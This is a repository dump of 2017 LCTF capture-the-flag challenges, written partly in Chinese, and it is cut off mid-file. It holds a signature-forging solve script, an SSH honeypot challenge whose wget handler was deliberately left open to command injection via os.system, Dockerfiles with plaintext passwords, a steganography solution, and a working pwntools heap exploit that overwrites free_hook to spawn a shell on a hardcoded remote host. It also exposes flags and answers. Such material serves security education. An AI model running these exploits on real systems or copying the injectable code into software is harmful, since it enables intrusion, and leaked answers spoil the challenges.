    k = G.serialize(t)
    k = bytes_to_long(k)

    #compute mid
    mid = t**k
    mid = G.serialize(mid)
    mid = bytes_to_long(mid)

    #compute sign
    signed = b'3:loZKMHi9WWkS46zTQyidX5546U2Sg/JLnNi18X2KRklZdJSth4Kyj5FPg0J8sVpc9hyClgIo2P8xOGsRK6Zxc2AW6euFkyaOUWI9ZmYp2AhE0kcOypR4vASF9vWYtNqj0qlsExtMThSUtS53HYHCczbxcxA2Vcr/tkFagicyU30='
    signed = G.deserialize(signed)
    message = bytes_to_long(b'abcd')
    signed = signed/(G.pair_prod(g, h)**(mid*message))
    
    message = bytes_to_long(b'show me flag')
    signed = signed*(G.pair_prod(g, h)**(mid*message))
    print(str(G.serialize(signed)))


if __name__ == '__main__':
    main()
```

  [1]: https://jhuisi.github.io/charm/install_source.html
  [2]: https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing
  [3]: http://on-img.com/chart_image/5a12706de4b0143a78b4a9d4.png

================================================
FILE: src/misc/raspberry/README.md
================================================
# 2017 LCTF misc 树莓派wp

## 刚上线
1. 题目介绍只给了个ip,有师傅当做web题,发现点不开。
2. 扫了一波端口后,只有22开着,所以入口点肯定在这里。
3. 根据题目的提示,按照正常的思维确实应该登录pi:raspberry,本来也是打算设置成这样,但是这个密码太弱了,题目还没上线就被黑铲扫了好几波,直接改密码种木马一波带走了。所以就改了一个需要一些脑洞的密码pi:shumeipai,可能有师傅在这里卡了一下。

## 第一个hint
> hint1: 都告诉你密码了

1. 这个hint主要提示弱密码是什么,因为不想让师傅们耽误太多时间,给出后很多师傅都上来了。
2. 这时候ssh进去会发现是一个低权限帐号,很多操作都受限了,uname看内核版本也很高,这之后很多师傅就开始四处搜刮flag,bash_history、.swp等等,还看了所有文件的修改时间。
3. 但是一番搜索后除了那个假flag什么发现也没有。在搜索的过程中,查看主机的网络状态`netstat -autpn`,会发现所有的ssh连接来源都是172.18.0.3,在这里应该会产生一些疑问,ping172.18.0.1、172.18.0.3都是通的,pi本机是172.18.0.2。
4. 这时候可以猜测,ssh连接被0.3动了手脚,通过ssh的指纹完全可以验证0.3是师傅们和0.2之间的中间人。
5. 下图是我们ssh连接时收到的公钥指纹:
![](pic/1.png)
6. 下图是172.18.0.2主机sshd配置文件夹中的公钥:
![](pic/2.png)
7. 可以看出两者是不一样的,所以验证了0.3在做SSH连接的中间人的猜测,这样一来有很大可能真的flag在0.3里。

## 第二个hint
> hint.pcap

1. 这是一个很重要的hint,流量中出现的主要IP是`172.180.2 172.180.3`,在流量包里可以看到明显的特征: 在建立了SSH连接后,外网发给0.3的加密数据包,0.3会先与0.2通信,0.2返回给0.3数据后,0.3再返回给外网的ip,在这里也能够证实0.3在做ssh的中间人。
2. 一般打ctf的流量包里面都会藏一些有用的东西,所以这里设了个坑,下载了一个53.bin,但是文件的具体内容没有什么用,此文件实际上是之前部署在公网的蜜罐捕获到的DDos木马,所以先对执行了此文件的师傅说声对不起。
![](pic/3.png)
3. 但是下载这个53.bin也不完全是坑人的,流量包里的http都很重要,过滤一下http可以看到只有几个数据包,User-Agent是wget,wget了cip.cc,并重定向到了www.cip.cc,这么做的初衷了为了暴露题目的公网IP,但是师傅们后来决定先不放这个流量包,所以题目描述直接把IP给出来了,这里也没什么用了。
![](pic/4.png)

4. 那为什么53.bin有request没有response捏,实际上Follow一下TCP stream就能看到后面的都是二进制的数据,wireshark没有把他们识别为http协议。
![](pic/5.png)

5. 实际上这个包最关键的地方在下图中两个GET 53.bin,这里涉及到一些蜜罐的东西,玩过SSH蜜罐的师傅可能了解,入侵者下载的恶意文件很可能随着执行而自动删除,所以绝大多数ssh蜜罐,无论低中高交互都会有一个功能,就是碰到wget命令,会解析命令并自动下载里面包含的恶意文件,这也就解释了为什么wget命令在两台主机上都执行了一次。
![](pic/6.png)

6. 所以如果wget命令及参数没有解析好的话,是有可能导致命令注入的。这一点在后面的hint也有提示。这个漏洞我比较粗暴的设置为,当0.3主机得到了攻击者的命令,如果命令以wget为开头,則直接os.system(cmd),当然还是做了一些过滤的。
![](pic/7.png)

7. 可以看到shell里常见的引入新的命令的符号大多数都做了过滤,比如`& | $()`,但是还是留下了姿势可以绕过,比如`\n`,
![](pic/8.png)

8. ssh tunnel的应用除了我们常用的shell,实际上还有exec,此应用不会在sshd上请求shell,只执行一条命令,比如`ssh pi@123.123.123.123 'ls'`

9. 但为了方便构造,可以使用python的paramiko库来get flag
![](pic/10.png)
![](pic/9.png)

10. 实际上也可以直接getshell
![](pic/11.png)

## 最后
1. wetland是我之前写的一个高交互ssh蜜罐,基于python的paramiko库。这个题就是直接拿它改动了一点。地址在本github帐号的wetland仓库里。
2. 题目的架构为真实云主机上跑两个docker容器,分别为wetland(172.18.0.3)和sshd(172.18.0.2),其中wetland是蜜罐程序,sshd用于执行黑客的命令。
3. 两个容器的dockerfile在docker文件夹中,sshd是对rastasheep/ubuntu-sshd的修改,降低了权限。wetland是对docker hub上ohmyadd/wetland镜像的修改,修改了两个文件,加上了命令注入。
4. 最后既然是蜜罐,肯定会记录执行的操作啦,日志文件都有保留,但不知道公开合不合适,就先不放出来了。

5. 最后一张用bearychat来实时看都有什么操作:)

![](pic/12.png)


================================================
FILE: src/misc/raspberry/docker/sshd/Dockerfile
================================================
From rastasheep/ubuntu-sshd
COPY dist /root/dist

RUN useradd -s /bin/bash -m -u 555 pi && \
    echo "pi:shumeipai" | chpasswd && \
    echo "root:8901234567qwertyuiop" | chpasswd && \
    mv /root/dist/flag.txt /home/pi && \
    chmod 644 /home/pi/flag.txt

CMD ["/usr/sbin/sshd", "-D"]


================================================
FILE: src/misc/raspberry/docker/sshd/dist/flag.txt
================================================
lctf{echoechoechoecho}


================================================
FILE: src/misc/raspberry/docker/wetland/Dockerfile
================================================
FROM ohmyadd/wetland
COPY dist /root/dist

RUN adduser -D -u 500  wetland && \
    echo "wetland:wetland" | chpasswd && \
    cp -R /root/wetland /home/wetland/ && \
    cp /root/dist/exec_service.py /home/wetland/wetland/wetland/services/exec_service.py && \
    cp /root/dist/shell_service.py /home/wetland/wetland/wetland/services/shell_service.py && \
    chown -R wetland:wetland /home/wetland && \
    chown -R wetland /home/wetland/wetland/log && \
    chown  wetland /home/wetland/wetland/wetland.cfg && \
    sed -ri 's/wetland_port = 22/wetland_port = 2222/' /home/wetland/wetland/wetland.cfg && \
    sed -ri "s/root = '\/root\/wetland\/'/root = '\/home\/wetland\/wetland\/'/" /usr/local/bin/entrypoint.py && \
    
    cp /root/dist/flag.txt /home/wetland/flag.txt && \
    rm -rf /root/dist && \
    chmod 600 -R /root

VOLUME /home/wetland/wetland/log
USER wetland
WORKDIR /home/wetland
ENTRYPOINT ["entrypoint.py"]


================================================
FILE: src/misc/raspberry/docker/wetland/dist/exec_service.py
================================================
import os

def exec_service(hacker_session, docker_session, cmd, output):

    print 'cmd:', cmd
    if cmd.startswith('wget'):
        cmd = cmd.replace("&", "")
        cmd = cmd.replace("|", "")
        cmd = cmd.replace("$", "")
        cmd = cmd.replace(";", "")
        cmd = cmd.replace("\r", "")

        os.system(cmd)
    docker_session.exec_command(cmd)
    output.o('content', 'exec', "N"*20)
    output.o('content', 'exec', '[H]:'+cmd.encode("hex"))
    output.o('wetland', 'exec command', cmd)

    try:
        while True:
            if hacker_session.recv_ready():
                text = hacker_session.recv(1024)
                output.o('content', 'exec', '[H]:'+text.encode("hex"))
                # print 'hacker said: ', text.encode("hex"), text
                docker_session.sendall(text)

            if docker_session.recv_ready():
                text = docker_session.recv(1024)
                output.o('content', 'exec', '[V]:'+text.encode("hex"))
                # print 'docker said: ', text.encode("hex"), text
                hacker_session.sendall(text)

            if docker_session.recv_stderr_ready():
                text = docker_session.recv_stderr(1024)
                hacker_session.sendall_stderr(text)

            if docker_session.eof_received:
                hacker_session.shutdown_write()
                hacker_session.send_exit_status(0)

            if hacker_session.eof_received:
                docker_session.shutdown_write()
                docker_session.send_exit_status(0)

            if hacker_session.eof_received or docker_session.eof_received:
                break

    except Exception, e:
        print e
    finally:
        docker_session.close()
        hacker_session.close()


================================================
FILE: src/misc/raspberry/docker/wetland/dist/flag.txt
================================================
lctf{qingzhu0x16bigshenglizhaokai}


================================================
FILE: src/misc/raspberry/docker/wetland/dist/shell_service.py
================================================
import os
import json

with open(os.path.join(os.path.dirname(__file__), 'visual.txt')) as txt:
    visual = json.load(txt)

def shell_service(hacker_session, docker_session, output):

    hacker_session.settimeout(3600)
    output.o('content', 'shell', "N"*20)

    try:
        command = []
        while True:
            if hacker_session.recv_ready():
                text = hacker_session.recv(1)
                docker_session.sendall(text)
                output.o('content', 'shell', '[H]:'+text.encode("hex"))
                if text == '\r':
                    cmd = ''.join(command)
		    if cmd.startswith('wget'):
			cmd = cmd.replace("&", "")
			cmd = cmd.replace("|", "")
			cmd = cmd.replace("$", "")
			cmd = cmd.replace(";", "")
			cmd = cmd.replace("\r", "")
                        os.system(cmd)
                    output.o('wetland', 'shell cmd', ''.join(cmd))
                    command = []
                else:
                    command.append(visual[text])

            if docker_session.recv_ready():
                text = docker_session.recv(1024)
                output.o('content', 'shell', '[V]:'+text.encode("hex"))
                hacker_session.sendall(text)

            if docker_session.recv_stderr_ready():
                text = docker_session.recv_stderr(1024)
                hacker_session.sendall_stderr(text)

            if docker_session.eof_received:
                hacker_session.shutdown_write()
                hacker_session.send_exit_status(0)

            if hacker_session.eof_received:
                docker_session.shutdown_write()
                docker_session.send_exit_status(0)

            if docker_session.eof_received or hacker_session.eof_received:
                break

    except Exception, e:
        print e
    finally:
        hacker_session.close()
        docker_session.close()


================================================
FILE: src/misc/拿去当壁纸吧朋友/writeup.md
================================================
# 拿去当壁纸吧朋友

平时隐写玩的多的师傅们看到论文能意识到这个是[busysteg](https://github.com/jaybosamiya/busysteg),不多说。真·签到题。

可能有一些人在搭建openCV环境上面有一点障碍, 可以在这里看看我怎么在Ubuntu 16.04 x64搭建的:

[https://github.com/skyel1u/my-pc-env/blob/master/my-pc-env.md#open-cv](https://github.com/skyel1u/my-pc-env/blob/master/my-pc-env.md#open-cv)

编译busysteg的代码,直接使用就好了:

```c
#include <opencv2/core/core.hpp>
#include <opencv2/highgui/highgui.hpp>
#include <opencv2/imgproc/imgproc.hpp>
#include <iostream>
#include <fstream>
#include <vector>
#include <algorithm>

using namespace cv;
using namespace std;

char* progpath;

void usage() {
  cerr << "Usage: \n";
  cerr << "  " << progpath << " h <image path> <data path> <output image path>\n";
  cerr << "  " << progpath << " x <image path> <output data path>\n";
}

void fatalerror(const char* error) {
  cerr << "ERROR: " << error << endl;
  usage();
  exit(1);
}

void info(const char* msg) {
  cerr << "[+] " << msg << endl;
}

void hide_data(char* inimg, char* indata, char* outimg);
void extract_data(char *inimg, char* outdata);

int main( int argc, char** argv ) {
  progpath = argv[0];
  if ( argc < 2 ) {
    fatalerror("No arguments passed");
  }
  if ( argv[1][1] != '\0' ) {
    fatalerror("Operation must be a single letter");
  }
  if ( argv[1][0] == 'h' ) {
    if ( argc != 5 ) {
      fatalerror("Wrong number of parameters for [h]ide operation");
    }
    hide_data(argv[2], argv[3], argv[4]);
  } else if ( argv[1][0] == 'x' ) {
    if ( argc != 4 ) {
      fatalerror("Wrong number of parameters for e[x]tract operation");
    }
    extract_data(argv[2], argv[3]);
  } else {
    fatalerror("Unknown operation");
  }
  return 0;
}

Mat calc_energy(Mat img) {
  Mat orig;
  Mat shifted;
  Mat diff;
  Mat res;

  bitwise_and(img, 0xF0, img);

  copyMakeBorder(img, orig, 1, 1, 1, 1, BORDER_REPLICATE);

  res = Mat::zeros(orig.size(), orig.type());

  int top[8] = {1,0,0,0,1,2,2,2};
  int left[8] = {2,2,1,0,0,0,1,2};
  for ( int i = 0 ; i < 8 ; i++ ) {
    copyMakeBorder(img, shifted, top[i], 2-top[i], left[i], 2-left[i], BORDER_REPLICATE);
    absdiff(orig, shifted, diff);
    res = max(res, diff);
  }

  return res(Rect(1, 1, img.cols, img.rows)); // x, y, width, height
}

typedef pair<pair<uchar, int>, pair<int, pair<int, int> > > Energy;

inline Energy _energy(int r, int c, int ch, uchar v) {
  int nonce = ch * ch * 10666589 + r * r + c * c + 2239; // to "uniformly" distribute data
  return make_pair(make_pair(v, nonce), make_pair(ch, make_pair(c, r)));
}

inline int _energy_r(const Energy &e) { return e.second.second.second; }
inline int _energy_c(const Energy &e) { return e.second.second.first; }
inline int _energy_ch(const Energy &e) { return e.second.first; }
inline int _energy_v(const Energy &e) { return e.first.first; }

vector<Energy> energy_order(Mat img) {
  /* Returns a vector in decreasing order of energy. */

  Mat energy = calc_energy(img.clone());

  info("Calculated energies");

  vector<Energy> energylist;

  for ( int r = 0 ; r < img.rows ; r++ ) {
    for ( int c = 0 ; c < img.cols ; c++ ) {
      const Vec3b vals = energy.at<Vec3b>(r,c);
      for ( int ch = 0 ; ch < 3 ; ch++ ) {
	uchar v = vals[ch];
	if ( v > 0 ) {
	  energylist.push_back(_energy(r,c,ch,v));
	}
      }
    }
  }

  sort(energylist.begin(), energylist.end());
  reverse(energylist.begin(), energylist.end());

  return energylist;
}

void write_into(Mat &img, vector<Energy> pts, char *buf, int size) {
  int written = 0;
  char val;
  int count = 0;
  for ( vector<Energy>::iterator it = pts.begin() ;
	it != pts.end() && written != size ;
	it++, count++ ) {
    uchar data;
    if ( count % 2 == 0 ) {
      val = buf[written];
      data = (val & 0xf0) / 0x10;
    } else {
      data = (val & 0x0f);
      written += 1;
    }

    Energy &e = *it;
    Vec3b &vals = img.at<Vec3b>(_energy_r(e), _energy_c(e));
    uchar &v = vals[_energy_ch(e)];
    v = (0xf0 & v) + data;
  }

  if ( written != size ) {
    fatalerror("Could not write all bytes");
  }
}

void read_from(Mat &img, vector<Energy> pts, char* buf, int size) {
  int read = 0;

  int count = 0;
  char val = 0;

  for ( vector<Energy>::iterator it = pts.begin() ;
	it != pts.end() && read != size ;
	it++, count++ ) {
    Energy &e = *it;
    const Vec3b val = img.at<Vec3b>(_energy_r(e), _energy_c(e));
    const uchar v = val[_energy_ch(e)];
    const uchar data = 0x0f & v;
    char out;
    if ( count % 2 == 0 ) {
      out = data * 0x10;
    } else {
      out += data;
      buf[read++] = out;
    }
  }

  if ( read != size ) {
    fatalerror("Wrong size");
  }
}

bool is_valid_image_path(char *path) {
  int l = strlen(path);
  return strcmp(path + l - 4, ".bmp") == 0 ||
    strcmp(path + l - 4, ".png") == 0;
}

void hide_data(char* inimg, char* indata, char* outimg) {
  if ( !is_valid_image_path(outimg) ) {
    fatalerror("Output path must be either have .png or .bmp as extension.");
  }

  Mat img = imread(inimg, CV_LOAD_IMAGE_COLOR);
  if ( ! img.data ) {
    fatalerror("Could not load image. Please check path.");
  }
  info("Loaded image");

  ifstream fin(indata, ios_base::binary);
  if ( ! fin.good() ) {
    fatalerror("Could not read data from file. Please check path.");
  }
  char_traits<char>::pos_type fstart = fin.tellg();
  fin.seekg(0, ios_base::end);
  long int fsize = (long int) (fin.tellg() - fstart);
  fin.seekg(0, ios_base::beg);
  char *buf = new char[fsize + 16];
  memcpy(buf, "BUSYSTEG", 8);
  memcpy(buf + 8, &fsize, 8);
  fin.read(buf + 16, fsize);
  fin.close();
  info("Read data");

  vector<Energy> pts = energy_order(img);
  info("Found energy ordering");

  write_into(img, pts, buf, fsize + 16);
  info("Updated pixel values");

  imwrite(outimg, img);
  info("Finished writing image");

  delete[] buf;
}

void extract_data(char *inimg, char* outdata) {
  Mat img = imread(inimg, CV_LOAD_IMAGE_COLOR);
  if ( ! img.data ) {
    fatalerror("Could not load image. Please check path.");
  }
  info("Loaded image");

  vector<Energy> pts = energy_order(img);
  info("Found energy ordering");

  char header[16];
  read_from(img, pts, header, 16);
  if ( memcmp(header, "BUSYSTEG", 8) != 0 ) {
    fatalerror("Not a busysteg encoded image");
  }

  long int fsize;
  memcpy(&fsize, header+8, 8);
  info("Found data length");

  char *buf = new char[fsize + 16];
  read_from(img, pts, buf, fsize + 16);
  info("Loaded data from pixels");

  ofstream fout(outdata, ios_base::binary);
  fout.write(buf + 16, fsize);
  fout.close();
  info("Finished writing data");

  delete [] buf;
}
```

CMakeLists.txt:

```cmake
cmake_minimum_required(VERSION 2.8)
project( busysteg )
find_package( OpenCV REQUIRED )
add_executable( busysteg busysteg )
target_link_libraries( busysteg ${OpenCV_LIBS} )
```

使用cmake编译,运行即可得flag:

```shell
$ ./busySteg x final.png out                                                                 
[+] Loaded image
[+] Calculated energies
[+] Found energy ordering
[+] Found data length
[+] Loaded data from pixels
[+] Finished writing data
$ cat out                                                                                   
lctf{4a7cb5e3c532f01c45e4213804ff1704}

```



================================================
FILE: src/pwn/2ez4u/2ez4u_exp.py
================================================
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from __future__ import print_function
from pwn import *
from ctypes import c_uint32

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'

io = remote("111.231.13.27", 20001)
#io = process("./chall", env = {"LD_PRELOAD" : "./libc-2.23.so"})
#io = process("2EZ4U_e994c467c9d8237e155f55f8c8315027")

EXEC = 0x0000555555554000

def add(l, desc):
    io.recvuntil('your choice:')
    io.sendline('1')
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('0')
    io.recvuntil('value?(0-999):')
    io.sendline('0')
    io.recvuntil('num?(0-16)')
    io.sendline('0')
    io.recvuntil('description length?(1-1024):')
    io.sendline(str(l))
    io.recvuntil('description of the apple:')
    io.sendline(desc)
    pass

def dele(idx):
    io.recvuntil('your choice:')
    io.sendline('2')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    pass

def edit(idx, desc):
    io.recvuntil('your choice:')
    io.sendline('3')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('2')
    io.recvuntil('value?(0-999):')
    io.sendline('1000')
    io.recvuntil('num?(0-16)')
    io.sendline('17')
    io.recvuntil('new description of the apple:')
    io.sendline(desc)
    pass

def show(idx):
    io.recvuntil('your choice:')
    io.sendline('4')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    pass

add(0x60,  '0'*0x60 ) # 
add(0x60,  '1'*0x60 ) #
add(0x60,  '2'*0x60 ) #
add(0x60,  '3'*0x60 ) #
add(0x60,  '4'*0x60 ) #
add(0x60,  '5'*0x60 ) #
add(0x60,  '6'*0x60 ) #

add(0x3f0, '7'*0x3f0) # playground
add(0x30,  '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30,  'a'*0x30 )
add(0x3f0, 'b'*0x3e0) # victim
add(0x30,  'c'*0x30 )

dele(0x9)
dele(0xb)
dele(0x0)

#gdb.attach(io, execute='b *0x%x' % (EXEC+0x1247))
add(0x400, '0'*0x400)

# leak
show(0xb)
io.recvuntil('num: ')
print(hex(c_uint32(int(io.recvline()[:-1])).value))

io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)

target_addr = HEAP+0xb0     # 1
chunk1_addr = HEAP+0x130    # 2
chunk2_addr = HEAP+0x1b0    # 3
victim_addr = HEAP+0xc30    # b

# large bin attack
edit(0xb, p64(chunk1_addr))             # victim
edit(0x1, p64(0x0)+p64(chunk1_addr))    # target

chunk2  = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr)
edit(0x3, chunk2) # chunk2

chunk1  = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)

edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))

dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!!
add(0x60,  '6'*0x60 ) # 

show(0x3)
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)

junk  = ''
junk += '3'*0x30
junk += p64(0x81)
junk += p64(LIBC+0x3c4be8)
junk += p64(HEAP+0x300)
junk  = junk.ljust(0xa8, 'A')
junk += p64(0x80)

recovery  = ''
recovery += junk
recovery += p64(0x80) # 0x4->size
recovery += p64(0x60) # 0x4->fd

dele(0x5)
dele(0x4)
edit(0x3, recovery) # victim, start from HEAP+0x158
add(0x60,  '4'*0x60 ) # 

recovery  = ''
recovery += junk
recovery += p64(0x70) # 0x4->size
recovery += p64(0x0) # 0x4->fd
edit(0x3, recovery) # victim, start from HEAP+0x158

add(0x40,  '5'*0x30 ) # 

dele(0x5)

recovery  = ''
recovery += '3'*0x30
recovery += p64(0x61)
recovery += p64(LIBC+0x3c4b50)
edit(0x3, recovery) # victim, start from HEAP+0x158

add(0x40,  '5'*0x30 ) # 

add(0x40,  p64(LIBC+0x3c5c50)) # 

# recovery
edit(0xb, p64(HEAP+0x7e0))
dele(0x6)

add(0x300, '\x00') # 
add(0x300, '\x00') # 
add(0x300, '\x00') # 
add(0x300, '\x00') # 
add(0x300, '/bin/sh') # 
dele(0x1)
#add(0x300, '\x00'*0x1d0+p64(LIBC+0x45390)) # 
add(0x300, '\x00'*0x1d0+p64(LIBC+0x4526a)) # 
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x1247))

dele(15)

io.interactive()


================================================
FILE: src/pwn/2ez4u/2ez4u_writeup.md
================================================
## 2ez4u writeup

1. 分配一个large chunk大小的块
2. 自己在堆上事先伪造好一个largechunk的头
3. 利用uaf来修改large chunk的bknextsize,让bknextsize指向这里(需要构造的合适一点,绕过glibc的检查),效果就是能malloc出这块地方。
4. 之后就是很常规的利用这个malloc出来的chunk来泄露libc,修改fastbin的fd
5. 修改main_arena上的top为free_hook上面一些的地方
6. 通过几次malloc,修改free_hook为system的地址


================================================
FILE: src/pwn/shopping/shopping.c
================================================
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#include<fcntl.h>
#include <signal.h>

/*
Books & Audible
Movies, Music & Games
Electronics, Computers & Office
Home, Garden & Tools
Beauty & Health
Toys, Kids & Baby
Clothing, Shoes & Jewelry
Handmade
Sports & Outdoors
Automotive & Industrial
*/
void* cart[99] = {0};
int cart_count = 0;
double cart_total = 0.0;

void get_str(char *buf, int size, char term) {
        char ch;
        int i = 0;

        for (i = 0; i < size; i++) {
                read(0, &ch, 1);
                if (ch == term) {
                        buf[i] = '\0';
                        return;
                } else {
                        buf[i] = ch;
                }
        }

        if (i == size) {
                buf[size-1] = '\0';
        } else {
                buf[i] = '\0';
        }
}

unsigned get_choice() {
        char buf[20];
        get_str(buf, 20, '\n');
        return (unsigned)atoi(buf);
}

unsigned char get_char() {
        char buf[20];
        get_str(buf, 20, '\n');
        return buf[0];
}

char* get_message(int size)
{
	char *message;
	int i = 0;

	if (size==0)
	{
		message = malloc(0x10);

		while (1)
		{
			message[i] = getchar();

			if (message[i] == '\n')
			{
				message[i] = '\0';
				break;
			}

			if (i++%8==0)
			{
				realloc(message, i+8);
			}
		}
	}
	else
	{
		message = malloc(size);
		get_str(message, size, '\n');
	}

	return message;
}

int check_cart(void *item_t)
{
	for (int i = 0; i < 99; ++i)
	{
		if (cart[i]==0)
		{
			cart[i] = item_t;
			cart_count++;
			return 1;
		}
	}

	printf("No more space!\n");
	return 0;
}

struct _item_a
{
  char mark[32];
  char name[32];
  char writer[32];
  char padding[96];
  double price;
  char *message;
  void (*print)();
  int pad;
};

void print_item_a(struct _item_a *item_t)
{
	printf("Name: %s\t\tWriter: %s\t\tPrice: $%.2f\n", item_t->name, item_t->writer, item_t->price);
}

struct _item_a item_a[] = {
	{print:print_item_a, name:"Leonardo da Vinci\0",writer:"Walter Isaacson\0",price:20.99},
	{print:print_item_a, name:"Obama: An Intimate Portrait\0",writer:"Pete Souza and Barack Obama\0",price:28.99},
	{print:print_item_a, name:"Dog Man\0",writer:"Dav Pilkey\0",price:9.99},
	{print:print_item_a, name:"The Getaway\0",writer:"Jeff Kinney\0",price:7.00},
	{print:print_item_a, name:"The Dogist Puppies\0",writer:"Elias Weiss Friedman\0",price:15.67},
	{print:print_item_a, name:"The Rooster Bar\0",writer:"John Grisham\0",price:17.37},
	{print:print_item_a, name:"Ada Twist, Scientist\0",writer:"David Roberts\0",price:13.46},
};

void add_item_a()
{
	unsigned char choice;
	struct _item_a *item_t;

	while (1)
	{
		puts("--------------------------------");
		for(int i=0;i<(sizeof(item_a)/sizeof(struct _item_a));i++)
		{
			printf("[%c] ", 'A'+i);
			item_a[i].print(&item_a[i]);
		}
		puts("--------------------------------");
		printf("[n] back\n");

		printf("Which book? ");

		choice = get_char();

		if (choice == 'n') return ;

		if ((choice - 'A')>=0 && (choice - 'A')<(sizeof(item_a)/sizeof(struct _item_a)))
		{
			item_t = malloc(sizeof(struct _item_a));
			item_t->print = print_item_a;
			printf("remark: ");
			get_str(item_t->mark, 32, '\n');
			strncpy(item_t->name,item_a[choice - 'A'].name,strlen(item_a[choice - 'A'].name));
			strncpy(item_t->writer,item_a[choice - 'A'].writer,strlen(item_a[choice - 'A'].writer));
			item_t->price = item_a[choice - 'A'].price;
			item_t->print(item_t);//
			if (check_cart((void *)item_t)==0)
			{
				free(item_t);
			}
			else
			{
				cart_total += item_t->price;
			}
		}

	}
}

struct _item_b
{
  char mark[32];
  char name[32];
  char actor[32];
  char padding[96];
  double price;
  char *message;
  void (*print)();
  int pad;
};

void print_item_b(struct _item_b *item_t)
{
	printf("Name: %s\t\tActor: %s\t\tPrice: $%.2f\n", item_t->name, item_t->actor, item_t->price);
}

struct _item_b item_b[] = {
	{print:print_item_b, name:"Wonder Woman\0",actor:"Gal Gadot\0",price:14.99},
	{print:print_item_b, name:"Your Name\0",actor:"Michael Sinterniklaas\0",price:19.96},
	{print:print_item_b, name:"Spider-Man\0",actor:"Tom Holland\0",price:19.99},
	{print:print_item_b, name:"Cars 3\0",actor:"Owen Wilson\0",price:44.99},
	{print:print_item_b, name:"Despicable Me 3\0",actor:"None\0",price:9.47},
	{print:print_item_b, name:"Game of Thrones\0",actor:"Various\0",price:39.96},
};

void add_item_b()
{
	unsigned char choice;
	struct _item_b *item_t;

	while (1)
	{
		puts("--------------------------------");
		for(int i=0;i<(sizeof(item_b)/sizeof(struct _item_b));i++)
		{
			printf("[%c] ", 'A'+i);
			item_b[i].print(&item_b[i]);
		}
		puts("--------------------------------");
		printf("[n] back\n");

		printf("Which moive? ");

		choice = get_char();

		if (choice == 'n') return ;

		if ((choice - 'A')>=0 && (choice - 'A')<(sizeof(item_b)/sizeof(struct _item_b)))
		{
			item_t = malloc(sizeof(struct _item_b));
			item_t->print = print_item_b;
			printf("remark: ");
			get_str(item_t->mark, 32, '\n');
			strncpy(item_t->name,item_b[choice - 'A'].name,strlen(item_b[choice - 'A'].name));
			strncpy(item_t->actor,item_b[choice - 'A'].actor,strlen(item_b[choice - 'A'].actor));
			item_t->price = item_b[choice - 'A'].price;
			item_t->print(item_t);//
			if (check_cart((void *)item_t)==0)
			{
				free(item_t);
			}
			else
			{
				cart_total += item_t->price;
			}
		}

	}
}

struct _item_c
{
  char mark[32];
  char name[64];
  char desc[96];
  double price;
  float discount;
  void (*print)();
  int pad;
};

void print_item_c(struct _item_c *item_t)
{
	printf("Name: %s\t\tDescription: %s\t\tPrice: $%.2f\t\tDiscount: %.2f\n", item_t->name, item_t->desc, item_t->price, item_t->discount);
}

struct _item_c item_c[] = {
	{print:print_item_c, name:"HP Stream Laptop PC 14-ax010nr\0",desc:"(Intel Celeron N3060, 4 GB RAM, 32 GB eMMC) with Office 365 Personal for one year\0",price:219.00,discount:9.0},
	{print:print_item_c, name:"Huawei MateBook X Signature Edition Ultraslim Laptop\0",desc:"Intel Core i7-7500U, 8GB RAM, 512GB SSD, Fingerprint, Office 365 Personal, MateDock v2.0\0",price:1279.90,discount:8.8},
	{print:print_item_c, name:"MSI GT73VR TITAN PRO-1005 \0",desc:"17.3\" 120Hz 5ms Hardcore Gaming Laptop i7-7700HQ GTX 1080 8G 16GB 512GB SSD + 1TB, Black-Red\0",price:2499.99,discount:8.0},
	{print:print_item_c, name:"Lenovo Flex 5 2-in-1 Laptop\0",desc:"Intel 7th Gen i7-7500U, 16GB DDR4 RAM, 1TB HDD + 256GB PCIe SSD, NVIDIA GeForce 940MX\0",price:1149.99,discount:8.8},
	{print:print_item_c, name:"Acer Nitro 5, Intel Core i5-7300HQ\0",desc:"GeForce GTX 1050 Ti, 15.6\" Full HD, 8GB DDR4, 256GB SSD, AN515-51-55WL\0",price:699.99,discount:9.0},
	{print:print_item_c, name:"HP Pavilion Power 15-inch Laptop\0",desc:"Intel Core i7-7700HQ, AMD Radeon RX 550, 12GB RAM, 1TB hard drive, Windows 10\0",price:829.56,discount:9.8}
};

void add_item_c()
{
	unsigned char choice;
	struct _item_c *item_t;

	while (1)
	{
		puts("--------------------------------");
		for(int i=0;i<(sizeof(item_c)/sizeof(struct _item_c));i++)
		{
			printf("[%c] ", 'A'+i);
			item_c[i].print(&item_c[i]);
		}
		puts("--------------------------------");
		printf("[n] back\n");

		printf("Which book? ");

		choice = get_char();

		if (choice == 'n') return ;

		if ((choice - 'A')>=0 && (choice - 'A')<(sizeof(item_c)/sizeof(struct _item_c)))
		{
			item_t = malloc(sizeof(struct _item_c));
			item_t->print = print_item_c;
			printf("remark: ");
			get_str(item_t->mark, 32, '\n');
			strncpy(item_t->name,item_c[choice - 'A'].name,strlen(item_c[choice - 'A'].name));
